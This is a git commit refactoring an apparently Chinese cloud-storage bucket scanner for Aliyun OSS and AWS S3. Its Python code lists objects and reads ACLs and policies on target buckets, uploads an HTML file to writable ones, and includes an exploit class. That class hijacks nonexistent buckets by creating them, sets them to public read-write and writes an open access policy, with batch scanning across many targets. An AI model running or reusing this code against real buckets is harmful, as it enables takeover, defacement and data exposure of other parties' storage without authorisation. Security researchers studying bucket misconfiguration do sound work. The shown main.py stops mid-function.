feat: v0.0.3(BETA) 重构多个功能与模块

一、重构模块
1、阿里云OSS
2、Amazone S3
3、main.py
4、目录结构
5、logger输出样式
6、Banner输出样式
7、命令行参数
二、新增
1、multiprocessing的加入,帮助快速批量扫描存储桶地址
三、不支持
1、暂不支持传入域名,无法自动判断Cname
This commit is contained in:
UzJu 2022-07-03 20:40:55 +08:00
parent d793b206b4
commit 1445d0b445
22 changed files with 507 additions and 703 deletions

8
.gitignore vendored Normal file
View File

@ -0,0 +1,8 @@
*.xml
*.iml
*.pyc
results/
logs/
.idea/
url.txt

View File

@ -1,17 +1,6 @@
# :rooster:0x00 前言
![image-20220529132925098](images/image-20220529132925098.png)
> 2022年3月7日
>
> 我觉得文档写的还不是很清楚,等有空更新一下文档完整的使用教程
> 2022年3月8日
>
> 2022年5月29日
>
> 1、更新了aws存储桶检测功能
>
> 2、感觉更新有些慢了这段时间比较忙其实本地的新版本写好了一直没有push
![image-20220703203021188](images/image-20220703203021188.png)
**使用教程**: [使用教程](使用教程.md)
@ -19,35 +8,11 @@
English README: [English](README.en.md)
想写个存储桶的利用,先给自己画个饼
+ 阿里云Aliyun Cloud Oss
+ 腾讯云Tencent Cloud COS
+ 华为云 HuaWei Cloud OBS
+ AWS Amazon S3 Bucket
+ Azure Azure Blob
+ GCP Google Cloud Bucket)
工具名称我都没想好,相信大佬们看到项目名就知道...机翻王
如果觉得用的还行可以提issue给工具起个名字:sos:
:waning_crescent_moon:**画饼进度**
1、阿里云存储桶利用
不太会用Git代码写的也烂有BUG直接提Issue即可好像我连issue可能都用不明白
> 好在二爷给我推荐的GitHub Desktop 二爷YYDS
2、AWS存储桶利用
# :pill:0x01 依赖
+ pip3 install oss2
+ pip3 install colorlog
+ pip3 install argparse
+ pip3 install boto3
```bash
pip3 install -r requirements.txt
```
# :gun:0x02 使用方法
@ -62,15 +27,15 @@ python3 main.py -h
2、用来验证合法用户
![image-20220304184757595](images/UzJuMarkDownImageimage-20220304184757595.png)
![image-20220703201835328](images/image-20220703201835328.png)
## 1、当存储桶Policy权限可获取时
![image-20220304185015693](images/UzJuMarkDownImageimage-20220304185015693.png)
![image-20220703202049560](images/image-20220703202049560.png)
## 2、当存储桶不存在时(自动创建并劫持)
![image](images/156925718-9a3dc236-0ef6-4afa-8d26-a2946fe876b2.png)
![image-20220703202339058](images/image-20220703202339058.png)
## 3、批量检测存储桶
@ -84,20 +49,15 @@ server="AliyunOSS"domain="aliyuncs.com" #不推荐该语法
```
```bash
python3 main.py -f aws/aliyun filepath
# 例如
python3 main.py -f aws ./url.tx\\\\\\\``````````````````````````````````````````````````````````````````````````
python3 main.py -faliyun url.txt
```
随后等待即可扫描结果会在results目录下文件名为当天的日期
![image](images/156925744-3c012b86-6449-4cf1-a790-b2c1282f76bd.png)
![image-20220703202518187](images/image-20220703202518187.png)
![image](images/156925758-36a8fcba-8bc8-4d1a-8863-d8110dbe0b71.png)
只会保存有权限操作的存储桶
![image](images/156925766-15d415d3-d573-4b54-ab0f-5c79bc1966ad.png)
随后会将结果保存至csv
![image-20220703202635171](images/image-20220703202635171.png)
输入存储桶地址即可自动检测,功能如下
@ -109,7 +69,7 @@ python3 main.py -f aws ./url.tx\\\\\\\``````````````````````````````````````````
+ 5、检测存储桶是否可上传Object
+ 6、批量检测功能
## 4、域名检测功能
## 4、域名检测功能(v0.3.0暂未支持)
很多存储桶都解析了域名新增判断域名的CNAME然后取CNAME来进行检测
@ -186,6 +146,14 @@ python3 main.py -aws xxxx
- 新增AWS存储桶扫描
**2022年7月3日**
- 重构项目
- aliyunoss模块
- aws模块
- main模块
- 扫描模块
# :cop:0xffffffff 免责声明
免责声明

View File

@ -1,189 +0,0 @@
"""
Banner Info From http://patorjk.com/software/taag/#p=display&f=TRaC%20Mini&t=UzJu
"""
import random
Banner_1 = '''
,---._
.-- -.' \
,--, | | :
,'_ /| ,----, : ; | ,--,
.--. | | : .' .`| : | ,'_ /|
,'_ /| : . | .' .' .' | : : .--. | | :
| ' | | . . ,---, ' ./ : ,'_ /| : . |
| | ' | | | ; | .' / | ; || ' | | . .
: | | : ' ; `---' / ;--, ___ l | | ' | | |
| ; ' | | ' / / / .`|/ /\ J :: | : ; ; |
: | : ; ; | ./__; .'/ ../ `..- ,' : `--' \
' : `--' \; | .' \ \ ; : , .-./
: , .-./`---' \ \ ,' `--`----'
`--`----' "---....--'
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_3 = '''
.----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| | _____ _____ | || | ________ | || | _____ | || | _____ _____ | |
| ||_ _||_ _|| || | | __ _| | || | |_ _| | || ||_ _||_ _|| |
| | | | | | | || | |_/ / / | || | | | | || | | | | | | |
| | | ' ' | | || | .'.' _ | || | _ | | | || | | ' ' | | |
| | \ `--' / | || | _/ /__/ | | || | | |_' | | || | \ `--' / | |
| | `.__.' | || | |________| | || | `.___.' | || | `.__.' | |
| | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------'
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_4 = '''
.------..------..------..------.
|U.--. ||Z.--. ||J.--. ||U.--. |
| (\/) || :(): || :(): || (\/) |
| :\/: || ()() || ()() || :\/: |
| '--'U|| '--'Z|| '--'J|| '--'U|
`------'`------'`------'`------'
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_5 = '''
___ ___ ___
/\ \ /\__\ ___ /\ \
\:\ \ /::| | /\__\ \:\ \
\:\ \ /:/:| | /:/__/ \:\ \
___ \:\ \ /:/|:| |__ /::\ \ ___ \:\ \
/\ \ \:\__\ /:/ |:| /\__\ \/\:\ \ /\ \ \:\__|
\:\ \ /:/ / \/__|:|/:/ / ~~\:\ \ \:\ \ /:/ /
\:\ /:/ / |:/:/ / \:\__\ \:\ /:/ /
\:\/:/ / |::/ / /:/ / \:\/:/ /
\::/ / |:/ / /:/ / \::/ /
\/__/ |/__/ \/__/ \/__/
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_6 = """
d b sSSSSSs d d b
S S s S S S
S S s S S S
S S s S S S
S S s d P S S
S S s S S S S
"sss" sSSSSSs "sss" "sss"
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
"""
Banner_7 = '''
_ _ _
| | | | ___ _ | | _ _
| |_| | |_ / | || | | +| |
\___/ _/__| _\__/ \_,_|
_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_8 = '''
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_9 = '''
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_10 = '''
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_11 = '''
_ _ _ _ _ _ _ _
(c).-.(c) (c).-.(c) (c).-.(c) (c).-.(c)
/ ._. \ / ._. \ / ._. \ / ._. \
__\( Y )/__ __\( Y )/__ __\( Y )/__ __\( Y )/__
(_.-/'-'\-._)(_.-/'-'\-._)(_.-/'-'\-._)(_.-/'-'\-._)
|| U || || Z || || J || || U ||
_.' `-' '._ _.' `-' '._ _.' `-' '._ _.' `-' '._
(.-./`-'\.-.)(.-./`-'\.-.)(.-./`-'\.-.)(.-./`-'\.-.)
`-' `-' `-' `-' `-' `-' `-' `-'
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_12 = '''
===================================
= ==== ============== ========
= ==== =============== =========
= ==== =============== =========
= ==== == ======= === = =
= ==== ====== ======= === = =
= ==== ===== ======== === = =
= ==== ==== ==== === === = =
= == === ===== === === = =
== === === ===== =
===================================
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
Banner_13 = '''
>=> >=> >=>
>=> >=> >=>
>=> >=> >====>>=> >=> >=> >=>
>=> >=> >=> >=> >=> >=>
>=> >=> >=> >=> >=> >=>
>=> >=> >=> >> >=> >=> >=>
>====> >=======> >===> >==>=>
Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju
'''
def echoRandomBannerInfo():
eval(f"print(Banner_{random.randint(1, 13)})")

View File

@ -1,7 +0,0 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/2/28 5:25 PM
# @File : __init__.py

View File

@ -3,48 +3,32 @@
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/2/28 5:18 PM
# @Time : 2022/7/2 14:22
# @File : conf.py
# from fake_useragent import UserAgent
# UA = UserAgent(use_cache_server=False)
# headers = {
# "UserAgent": UA.random
# }
import os
import datetime
import csv
from colorama import init, Fore, Back, Style
NowTime = datetime.datetime.now().strftime('%Y-%m-%d')
"""
2022年3月6日 16:55
部分用户反馈该库存在报错的问题故此目前删除该库
最开始使用该库是因为想用HTTP的方式实现功能所以使用了fake_useragent
现在实现的方式是直接调SDK所以不需要这个Fake_useragent了
"""
# aliyun
AliyunAccessKey_ID = ""
AliyunAccessKey_Secret = ""
aliyun_id = ""
aliyun_key = ""
# aws
AWS_ACCESS_KEY = ''
AWS_SECRET_KEY = ''
AWS_ACCESS_KEY = ""
AWS_SECRET_KEY = ""
def save_results(target, info):
headers = ['存储桶地址', '权限']
filepath = f'{os.getcwd()}/results/{NowTime}.csv'
rows = [
[f"{target}", info]
]
if not os.path.isfile(filepath):
with open(filepath, 'a+', newline='') as f:
f = csv.writer(f)
f.writerow(headers)
f.writerows(rows)
else:
with open(filepath, 'a+', newline='') as f:
f_csv = csv.writer(f)
f_csv.writerows(rows)
version = "v.0.3.0"
author = "UzJu"
email = "UzJuer@163.com"
github = "GitHub.com/UzJu"
banner = f"""
{Fore.CYAN}______ _ _ _____
{Fore.YELLOW}| ___ \ | | | | / ___|
{Fore.GREEN}| |_/ /_ _ ___| | _____| |_\ `--. ___ __ _ _ __
{Fore.GREEN}| ___ \ | | |/ __| |/ / _ \ __|`--. \/ __/ _` | '_ \
{Fore.BLUE}| |_/ / |_| | (__| < __/ |_/\__/ / (_| (_| | | | |
{Fore.MAGENTA}\____/ \__,_|\___|_|\_\___|\__\____/ \___\__,_|_| |_|
{Fore.RED} Author:{author} Version:{version}
"""

View File

@ -1,14 +0,0 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/3/4 下午5:24
# @File : echoToFile.py
import csv
class Echo:
def __init__(self):
pass

45
config/logs.py Normal file
View File

@ -0,0 +1,45 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/7/2 14:21
# @File : logs.py
import sys
import pathlib
from loguru import logger
# Log Code From https://github.com/shmilylty/OneForAll/
# 路径设置
relative_directory = pathlib.Path(__file__).parent.parent
result_save_dir = relative_directory.joinpath('logs')
log_path = result_save_dir.joinpath('bucket_scan.log')
# 日志配置
# 终端日志输出格式
stdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \
'[<level>{level: <5}</level>] ' \
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
'<level>{message}</level>'
# 日志文件记录格式
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
'[<level>{level: <5}</level>] ' \
'<cyan>{process.name}({process.id})</cyan>:' \
'<cyan>{thread.name: <18}({thread.id: <5})</cyan> | ' \
'<blue>{module}</blue>.<blue>{function}</blue>:' \
'<blue>{line}</blue> - <level>{message}</level>'
logger.remove()
logger.level(name='TRACE', color='<cyan><bold>', icon='✏️')
logger.level(name='DEBUG', color='<blue><bold>', icon='🐞 ')
logger.level(name='INFOR', no=20, color='<green><bold>', icon='')
logger.level(name='QUITE', no=25, color='<green><bold>', icon='🤫 ')
logger.level(name='ALERT', no=30, color='<yellow><bold>', icon='⚠️')
logger.level(name='ERROR', color='<red><bold>', icon='❌️')
logger.level(name='FATAL', no=50, color='<RED><bold>', icon='☠️')
logger.add(sys.stderr, level='INFOR', format=stdout_fmt, enqueue=True)
logger.add(log_path, level='DEBUG', format=logfile_fmt, enqueue=True, encoding='utf-8')
logger.disabled = True

View File

@ -1,121 +0,0 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/4/7 15:33
# @File : AmazoneCloudS3Bucket.py
import botocore
from boto3.session import Session
import boto3
from config import conf
import logging
import datetime
module_logger = logging.getLogger("mainModule.AmazoneCloudS3Bucket")
NowTime = datetime.datetime.now().strftime('%Y-%m-%d')
class AwsCloudS3Check:
def __init__(self, BucketName, BucketDomain):
'''
bucketName: 只取Bucket名字
BucketDomain: Bucket完整域名
'''
self.getBucketName = BucketName
self.getBucketDomain = BucketDomain
'''
Boto3 Session Client
'''
session = Session(aws_access_key_id=conf.AWS_ACCESS_KEY,
aws_secret_access_key=conf.AWS_SECRET_KEY)
self.s3 = session.client('s3')
'''
为了解决boto3 Clinet中没有resource的问题
因为如果使用client, 在调用CheckBucketListObject的时候, 会提示没有Object
'''
self.s3_resource = session.resource('s3')
'''
Logger
'''
self.logger = logging.getLogger("mainModule.AmazoneCloudS3Bucket.Check.module")
'''
results_list 返回给CSV的列表
'''
self.results_list = []
def CheckBucketListObject(self):
try:
getObjectList = self.s3_resource.Bucket(self.getBucketName)
for getObject in getObjectList.objects.all():
self.logger.info(f"List Bucket Object > {getObject.key}")
self.results_list.append("ListObject")
break
except Exception as e:
'''
这里为什么要加判断
NoSuchBucket的报错是这样的botocore.errorfactory.NoSuchBucket
但是不知道为什么这边调不到这个方法所以干脆直接判断字符
'''
if "NoSuchBucket" in str(e):
self.logger.info("NoSuchBucket")
self.results_list.append("NoSuchBucket")
else:
self.logger.error(e)
def CheckBucketPutObject(self):
try:
'''
下面为什么要把对象的元数据设置为text/html原因是因为默认上传文件之后元数据为binary/octet-stream当元数据为binary/octet-stream的时候访问HTML文件
会直接下载该文件修改为text/html之后我们访问xxxx/UzJu.html的时候会像访问静态网站一样访问这个对象
'''
self.s3_resource.Object(self.getBucketName, "UzJu.html").put(
Body="Put By https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools.git",
ContentType='text/html')
self.logger.info(f"Put File Success > {self.getBucketDomain}/UzJu.html")
self.results_list.append("PutObject")
except Exception as e:
self.logger.error(e)
def CheckBucketAcl(self):
try:
response = self.s3.get_bucket_acl(Bucket=self.getBucketName)
self.logger.info(f"Get Bucket Acl Success > {response}")
self.results_list.append("GetBucketAcl")
except Exception as e:
self.logger.error(repr(e))
def CheckNoSuchBucket(self):
'''
这里主要是用来确认如果上面的那些方法报错了显示NoSuchBucket的话就证明该存储桶是可以接管的
但是这里不会自动取创建一个存储桶去接管而只是提示可以接管
'''
try:
pass
except Exception as e:
self.logger.error(repr(e))
def CheckResult(self):
return self.results_list
def test(self):
pass
def CheckBucket(BucketName, BucketDomain):
'''
BucketName: 取下标后的存储桶名
BucketDomain: 完整的存储桶地址
'''
run = AwsCloudS3Check(BucketName, BucketDomain)
run.CheckBucketListObject()
run.CheckBucketPutObject()
run.CheckBucketAcl()
if not run.CheckResult():
pass
else:
conf.save_results(BucketDomain, run.CheckResult())
module_logger.info(">" * 80)

View File

@ -3,63 +3,161 @@
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/2/28 4:52 PM
# @Time : 2022/7/2 14:22
# @File : aliyunOss.py
# 你猜我什么时候画的饼:)
'''
代码实现思路
1使用GET POST PUT的请求来获取
2使用OSS2 SDK实现
'''
# 以下代码思路是使用OssSDK来实现
from itertools import islice
import oss2
import json
from config import conf
import logging
import os
import datetime
from itertools import islice
from config.logs import logger
from config import conf
import oss2
module_logger = logging.getLogger("mainModule.AliyunOss")
NowTime = datetime.datetime.now().strftime('%Y-%m-%d')
class OssBucketExploitFromSDK:
class Aliyun_Oss_Bucket_Check:
def __init__(self, target, location):
"""
:desc: class init need to pass in the bucket name and region
:param target: bucket name
:param location: bucket
"""
self.target = target
self.location = location
auth = oss2.Auth(conf.AliyunAccessKey_ID, conf.AliyunAccessKey_Secret)
self.bucket = oss2.Bucket(auth, f'http://{location}.aliyuncs.com', self.target)
self.logger = logging.getLogger("mainModule.AliyunOss.Exploit.module")
init_auth = oss2.Auth(conf.aliyun_id, conf.aliyun_key)
self.bucket = oss2.Bucket(init_auth, f"{location}.aliyuncs.com", self.target)
def AliyunOssCreateBucket_Exp(self):
def Aliyun_Oss_GetBucketObject_List(self):
"""
:desc: List objects in a bucket
:return: True/False
"""
try:
self.bucket.create_bucket()
self.logger.info(f"BucketName {self.target} Ceate Success:)")
self.AliyunOssPutBucketAcl_Exp()
self.AliyunOssPutBucketPolicy_Exp()
self.AliyunOssPutObject_Exp()
self.AliyunOssGetBucketPolicy_Exp()
for Object in islice(oss2.ObjectIterator(self.bucket), 3):
logger.log("INFOR", f"Object Name: {Object.key}")
return True
except oss2.exceptions.AccessDenied:
return False
except Exception as e:
self.logger.warning(f"BucketName {self.target} Ceate FAILD:( {e}")
"""
:desc: This indicates that the content returned by the bucket is not in the common format of the bucket, etc.
"""
logger.log("ERROR", repr(e))
return False
def AliyunOssPutBucketAcl_Exp(self):
def Aliyun_Oss_PutBucketObject(self):
"""
:desc: Upload objects to buckets
:return: True/False
"""
try:
self.bucket.put_object_from_file('UzJu.txt', f'{os.getcwd()}/config/UzJu.html')
return True
except oss2.exceptions.AccessDenied:
return False
except Exception as e:
"""
:desc: This indicates that the content returned by the bucket is not in the common format of the bucket, etc.
"""
logger.log("ERROR", repr(e))
return False
def Aliyun_Oss_GetBucketAcl(self):
"""
:desc: get bucket acl
:return: True/False
"""
try:
logger.log("INFOR", f"Target: {self.target} Bucket Acl: {self.bucket.get_bucket_acl().acl}")
return True
except oss2.exceptions.AccessDenied:
return False
except Exception as e:
"""
:desc: This indicates that the content returned by the bucket is not in the common format of the bucket, etc.
"""
logger.log("ERROR", repr(e))
return False
def Aliyun_Oss_PutBucketAcl(self):
"""
:desc: put bucket acl
:return: True/False
"""
try:
self.bucket.put_bucket_acl(oss2.BUCKET_ACL_PUBLIC_READ_WRITE)
self.logger.info(f"BucketName {self.target} Acl Permissions PUBLIC_READ_WRITE:)")
return True
except oss2.exceptions.AccessDenied:
return False
except Exception as e:
self.logger.warning(f"BucketName {self.target} Acl Put FAILD:( {e}")
"""
:desc: This indicates that the content returned by the bucket is not in the common format of the bucket, etc.
"""
logger.log("ERROR", repr(e))
return False
def AliyunOssGetBucketPolicy_Exp(self):
def Aliyun_Oss_GetBucketPolicy(self):
"""
:desc: get public bucket policy
:return: policy_json / False
"""
try:
result = self.bucket.get_bucket_policy()
policy_json = json.loads(result.policy)
self.logger.info(f"BucketName {self.target} Policy Get Success :)\n {policy_json}")
return policy_json
except oss2.exceptions.AccessDenied:
return False
except oss2.exceptions.NoSuchBucketPolicy:
logger.log("ALERT", "There is no Policy policy for the current storage bucket")
return False
except Exception as e:
self.logger.warning(f"BucketName {self.target} Policy Get FAILD:( {e}")
"""
:desc: This indicates that the content returned by the bucket is not in the common format of the bucket, etc.
"""
logger.log("ERROR", repr(e))
return False
def AliyunOssPutBucketPolicy_Exp(self):
def Aliyun_Oss_BucketDoesBucketExist(self):
"""
:desc: Check whether the storage bucket exists
:return: True/False
"""
try:
self.bucket.get_bucket_info()
return False
except oss2.exceptions.NoSuchBucket:
return True
except Exception as e:
logger.log("ERROR", f"Target: {self.target} Except INFO: {e}")
return False
class Aliyun_Oss_Bucket_Exploit:
def __init__(self, target, location):
"""
:desc: class init need to pass in the bucket name and region
:param target: bucket name
:param location: bucket
"""
self.target = target
self.location = location
init_auth = oss2.Auth(conf.aliyun_id, conf.aliyun_key)
self.bucket = oss2.Bucket(init_auth, f"http://{location}.aliyuncs.com", self.target)
def Aliyun_Oss_CreateBucket_Exp(self):
try:
self.bucket.create_bucket()
logger.log("INFOR", f"BucketName {self.target} Ceate Success:)")
except Exception as e:
logger.log("ERROR", f"BucketName {self.target} Ceate FAILD:( {e}")
return False
def Aliyun_Oss_PutBucketAcl_Exp(self):
try:
self.bucket.put_bucket_acl(oss2.BUCKET_ACL_PUBLIC_READ_WRITE)
logger.log("INFOR", f"BucketName {self.target} Acl Permissions PUBLIC_READ_WRITE:)")
except Exception as e:
logger.log("ERROR", f"BucketName {self.target} Acl Put FAILD:( {e}")
def Aliyun_Oss_PutBucketPolicy_Exp(self):
try:
bucket_info = self.bucket.get_bucket_info()
strategy = {
@ -80,119 +178,23 @@ class OssBucketExploitFromSDK:
}
self.bucket.put_bucket_policy(json.dumps(strategy))
self.logger.info(f"BucketName {self.target} Policy Put Success :)")
logger.log("INFOR", f"BucketName {self.target} Policy Put Success :)")
except Exception as e:
self.logger.warning(f"BucketName {self.target} Policy Put FAILD:( {e}")
logger.log("ERROR", f"BucketName {self.target} Policy Put FAILD:( {e}")
def AliyunOssPutObject_Exp(self):
try:
self.bucket.put_object_from_file("UzJu.html", f"{os.getcwd()}/config/UzJu.html")
self.logger.info(f"BucketName {self.target} Put Object Success:)")
self.logger.info(f"Go Browser Open {self.target}.{self.location}.aliyuncs.com/UzJu.html")
except Exception as e:
self.logger.warning(f"BucketName {self.target} Put Object FAILD:( {e}")
class OssBucketCheckFromSDK:
def __init__(self, target, location):
self.target = target
self.location = location
self.logger = logging.getLogger("mainModule.AliyunOss.module")
auth = oss2.Auth(conf.AliyunAccessKey_ID, conf.AliyunAccessKey_Secret)
self.bucket = oss2.Bucket(auth, f'http://{location}.aliyuncs.com', self.target)
self.Exploit = OssBucketExploitFromSDK(self.target, location)
self.results_list = []
def AliyunOssPutBucketPolicy(self, getOssResource):
"""
PutBucketPolicy
危险操作会更改存储桶的策略组建议查看AliyunOssgetBucketPolicy来自行判断
是否拥有AliyunOssPutBucketPolicy权限如果用代码的方式写入会存在问题
1写入后无法还原当然这里可以使用备份原有的策略然后再上传新的策略这里又会遇到一个新的问题
如果只是存在PutBucketPolicy我们Put后是无法知道对方的ResourceID的
所以该函数只在OssBucketExploitFromSDK类中实现了详情请看AliyunOssPutBucketPolicy_Exp方法
"""
pass
def AliyunOssGetBucketPolicy(self):
def Aliyun_Oss_GetBucketPolicy_Exp(self):
try:
result = self.bucket.get_bucket_policy()
policy_json = json.loads(result.policy)
self.logger.info(f"Target: {self.target}, get Bucket Policy:)\n{policy_json}")
self.results_list.append("GetBucketPolicy")
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target}, Bucket Policy AccessDenied:(")
def AliyunOssBucketDoesBucketExist(self):
try:
self.bucket.get_bucket_info()
self.logger.info(f"Target: {self.target}, Bucket Exist:)")
return True
except oss2.exceptions.NoSuchBucket:
self.results_list.append("NoSuckBucket_HiJack")
self.logger.warning(f"Target: {self.target}, NoSuckBucket:) Now Hijack Bucket")
self.Exploit.AliyunOssCreateBucket_Exp()
return False
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target}, AccessDenied:(")
return True
logger.log("INFOR", f"BucketName {self.target} Policy Get Success :)\n {policy_json}")
except Exception as e:
self.logger.error(f"Target: {self.target} Except INFO: {e}")
logger.log("ERROR", f"BucketName {self.target} Policy Get FAILD:( {e}")
def AliyunOssGetBucketAcl(self):
def Aliyun_Oss_PutObject_Exp(self):
try:
self.logger.info(f"Target: {self.target} Bucket Acl: {self.bucket.get_bucket_acl().acl}")
self.results_list.append("GetBucketAcl")
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target} get Bucket Acl AccessDenied:(")
self.bucket.put_object_from_file("UzJu.html", f"{os.getcwd()}/config/UzJu.html")
logger.log("INFOR", f"BucketName {self.target} Put Object Success:)")
logger.log("INFOR", f"Go Browser Open {self.target}.{self.location}.aliyuncs.com/UzJu.html")
def AliyunOssPutBucketAcl(self):
try:
self.bucket.put_bucket_acl(oss2.BUCKET_ACL_PUBLIC_READ_WRITE)
self.logger.info(f"Target: {self.target} Put Bucket Acl Success:)")
self.results_list.append("PutBucketAcl")
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target} Put Bucket Acl AccessDenied:(")
def AliyunOssGetBucketObjectList(self):
try:
self.logger.info("Try to list Object")
for Object in islice(oss2.ObjectIterator(self.bucket), 3):
self.logger.info(f"Object Name: {Object.key}")
self.results_list.append("GetBucketObjectList")
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target} ListObject AccessDenid")
return
self.logger.info(f"Target: {self.target} Exsit traverse Object:)")
# putCsvInfoResult(f"{self.target}.{self.location}.aliyuncs.com", "ListObject")
def AliyunOssPutBucketObject(self):
try:
self.bucket.put_object_from_file('UzJu.txt', f'{os.getcwd()}/config/UzJu.html')
self.logger.info(f"Target: {self.target} Put Object Success:)")
self.logger.info(f"Go Browser Open {self.target}.{self.location}.aliyuncs.com/UzJu.html")
self.results_list.append("PutBucketObject")
except oss2.exceptions.AccessDenied:
self.logger.warning(f"Target: {self.target} Put Object AccessDenied:(")
def CheckResult(self):
return self.results_list
def CheckBucket(target, location):
try:
check = OssBucketCheckFromSDK(target, location)
if check.AliyunOssBucketDoesBucketExist():
check.AliyunOssGetBucketObjectList()
check.AliyunOssGetBucketAcl()
check.AliyunOssGetBucketPolicy()
check.AliyunOssPutBucketObject()
if not check.CheckResult():
pass
else:
conf.save_results(f"{target}.{location}.aliyuncs.com", check.CheckResult())
module_logger.info(">" * 80)
except Exception as e:
module_logger.error(f"Target: {target} Chceck Faild:( {e}")
except Exception as e:
logger.log("ERROR", f"BucketName {self.target} Put Object FAILD:( {e}")

63
core/aws.py Normal file
View File

@ -0,0 +1,63 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/7/2 19:57
# @File : aws.py
from boto3.session import Session
from config.logs import logger
from config import conf
class Amazone_Cloud_S3Bucket_Check:
def __init__(self, target, location):
"""
:desc: Aws class init
:param BucketName: aws bucket name
:param BucketDomain: aws bucket region
"""
self.getBucketName = target
self.getBucketDomain = location
session = Session(aws_access_key_id=conf.AWS_ACCESS_KEY,
aws_secret_access_key=conf.AWS_SECRET_KEY)
self.s3 = session.client('s3')
self.s3_resource = session.resource('s3')
def Check_Bucket_ListObject(self):
try:
getObjectList = self.s3_resource.Bucket(self.getBucketName)
for getObject in getObjectList.objects.all():
logger.log("INFOR", f"List Bucket Object > {getObject.key}")
break
return True
except Exception as e:
if "NoSuchBucket" in str(e):
logger.log("ALERT", "NoSuchBucket")
else:
logger.log("ERROR", repr(e))
def Check_Bucket_PutObject(self):
try:
self.s3_resource.Object(self.getBucketName, "UzJu.html").put(
Body="Put By https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools.git",
ContentType='text/html')
logger.log("INFOR", f"Put File Success > {self.getBucketDomain}/UzJu.html")
return True
except Exception as e:
logger.log("ERROR", repr(e))
return False
def Check_Bucket_GetBucketAcl(self):
try:
response = self.s3.get_bucket_acl(Bucket=self.getBucketName)
logger.log("INFOR", f"Get Bucket Acl Success > {response}")
return True
except Exception as e:
logger.log("ERROR", repr(e))
return False

143
core/main.py Normal file
View File

@ -0,0 +1,143 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/7/2 14:22
# @File : main.py
from config.logs import logger
from plugins.results import aliyun_save_file
from core import aliyunOss
from core import aws
import urllib.parse
import prettytable as pt
import multiprocessing
def aliyun_file_scan(filename):
target_file = open(filename, mode='r', encoding='utf-8')
p = multiprocessing.Pool(processes=3)
for i in target_file.read().splitlines():
p.apply_async(aliyun, args=(i,))
p.close()
p.join()
p.terminate()
def aliyun(target):
"""
:desc: aliyun Bucket Scan function
:param target: Bucket URL
:return:
"""
logger.log("INFOR", f"开始扫描> {target}")
aliyun_print_table_header = pt.PrettyTable(
['Bucket', 'BucketHijack', 'GetBucketObjectList', 'PutBucketObject', 'GetBucketAcl', 'PutBucketAcl',
'GetBucketPolicy'])
aliyun_scan_results = {}
get_domain = urllib.parse.urlparse(target).netloc
if get_domain == "":
get_target_list = target.split('.')
aliyunOss_Check_init = aliyunOss.Aliyun_Oss_Bucket_Check(target=get_target_list[0],
location=get_target_list[1])
aliyunOss_Exploit_init = aliyunOss.Aliyun_Oss_Bucket_Exploit(target=get_target_list[0],
location=get_target_list[1])
if aliyunOss_Check_init.Aliyun_Oss_BucketDoesBucketExist():
logger.log("INFOR", f"{target}> 当前存储桶不存在, 尝试劫持存储桶")
if aliyunOss_Exploit_init.Aliyun_Oss_CreateBucket_Exp():
logger.log("ALERT", f"{target}> 新创建/新版存储桶不可劫持")
else:
